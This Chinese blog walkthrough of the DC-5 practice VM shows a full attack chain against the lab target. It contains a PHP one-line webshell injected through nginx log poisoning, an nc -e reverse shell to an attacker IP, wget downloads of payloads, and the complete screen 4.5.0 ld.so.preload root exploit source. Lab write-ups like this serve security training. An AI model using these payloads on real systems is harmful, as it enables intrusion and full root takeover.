DC-5入门练习

DC-5靶机渗透

1. 信息收集

1.查看dc-5主机mac地址
在这里插入图片描述
注意:这里最好把dc5虚拟机做一个克隆,后面需要恢复快照.
2. nmap扫描

nmap -sP 192.168.1.0/24  -oN nmap.sP
nmap -A 192.168.1.6 -p 0-6635 -oN nmap.A

发现目标靶机地址为192.168.1.6
在这里插入图片描述
查看目标主机开放那些端口
在这里插入图片描述
由于开发80我们登录随便看一看
这些网站页面都放在根目录下,我们可以用御剑扫描后台,发现最后一个页面这里可以提交表单,参数(都显示在url里)
在这里插入图片描述

在这里插入图片描述
发现每次刷新网页下面都会变化
在这里插入图片描述

2.御剑扫描
在这里插入图片描述
打开这个网页进行查看

在这里插入图片描述
刷新查看变成2017

在这里插入图片描述
思考:之前thankyou那个页面每次刷新也都变化,说明thankyou那个网页包含footer.php说明存在文件包含但是不知道是不是存在动态包含漏洞
3.检测是否存在文件包含漏洞
我们用bp抓包,爆破可能存在动态包含的变量名
在这里插入图片描述
发现爆破结果都一样
在这里插入图片描述
这里我们改变一下动态包含的文件为/etc/passwd再次爆破
发现存在动态包含,而且变量名为file
我们可以利用文件包含漏洞去包含任意文件无视文件扩展名,,如果文件中有php代码,无条件执行
在这里插入图片描述
注意:这里主要是想给大家提供一种思路,变量字典自己手工弄的,没有强大的字典

上传木马

这里我们想到上传一个木马,但是无法上传,
思考:这里是否可以利用文件包含漏洞上传到本地文件
可以通过在系统日志中写入代码,在通过文件文件包含系统日志文件去执行日志中的相关php 代码

这里是nginx服务器,日志在:

/var/log/nginx/access.log

1.然后抓包写入一句话木马
注 :在写入快照前最好恢复快照因为经过爆破日志很多,连接蚁剑时不稳定。
在这里插入图片描述

一句话木马:

<?php @eval($_REQUEST[666])?>

查看写入木马:
在这里插入图片描述
2.蚁剑连接
在这里插入图片描述
3.新建木马
注:为啥新建木马文件,因为我们当前的一句话在日志文件下,日志文件变化快对操作有影响,可能出现连接不稳定无法连接的时候,所以要进行重新连接。(和还原快照一样)

在这里插入图片描述
新建404.html一句话木马

在这里插入图片描述
重新蚁剑连接:
在这里插入图片描述
进入终端
查看当前用户,以及根下root文件,无权,下一步反弹shell提权
在这里插入图片描述

反弹shell

nc -e /bin/bash 192.168.1.16 1234

在这里插入图片描述

nc -lvvp 1234                                     //监听

python -c 'import pty;pty.spawn("/bin/bash")'   //进入交互模式

在这里插入图片描述

提权

1.查看哪些命令具有root权限且没有密码

sudo -l
**```
2.有没有一些具有suid权限的命令**
发现有一个screen-4.5.0具有root权限,下一步查找这个软件是否有漏洞

```bash
find / -perm -4000 2>/dev/null

在这里插入图片描述
3.查找漏洞
找到41154.sh后,把个脚本拷贝到当前目录下
在这里插入图片描述
kali下开启http服务

python -m SimpleHTTPServer

在这里插入图片描述
打开终端下载脚本
在这里插入图片描述
给41154.sh执行权限,并运行

在这里插入图片描述
发现运行错误,我们查看脚本,我们尝试本地编译其内的两个c语言程序
4将该脚本拆分成3部分
具体内容如下:
1)编译libhac.c

#include <stdio.h>
 
#include <sys/types.h>
 
#include <unistd.h>
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

编译生成libhax.so

gcc -fPIC -shared -ldl -o libhax.so libhax.c

 

2)编译rootshell.c

#include <stdio.h>
 
int main(void){
 
    setuid(0);
 
    setgid(0);
 
    seteuid(0);
 
    setegid(0);
 
    execvp("/bin/sh", NULL, NULL);
 
}

编译生成shellroot

gcc -o rootshell rootshell.c

3)编译run.sh

#!/bin/bash
# screenroot.sh
 
# setuid screen v4.5.0 local root exploit
 
# abuses ld.so.preload overwriting to get root.
 
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
 
# HACK THE PLANET
 
# ~ infodox (25/1/2017)
 
echo "[+] Now we create our /etc/ld.so.preload file..."
 
cd /etc
 
umask 000 # because
 
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
 
echo "[+] Triggering..."
 
screen -ls # screen itself is setuid, so...
 
/tmp/rootshell

kali开启http服务

python -m SimpleHTTPServer

5.靶机/tmp 目录下远程下载

wget http://192.168.1.12:8000/rootshell

wget http://192.168.1.12:8000/libhax.so

wget http://192.168.1.12:8000/run.sh

在这里插入图片描述
然后给下载的文件执行权限:

chmod 777 libhax.so
chmod 777 rootshell
chmod 777 run.sh

6.最后在tmp目录下运行run.sh
在这里插入图片描述

DC靶机系列入门详解,关注查看下一篇

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值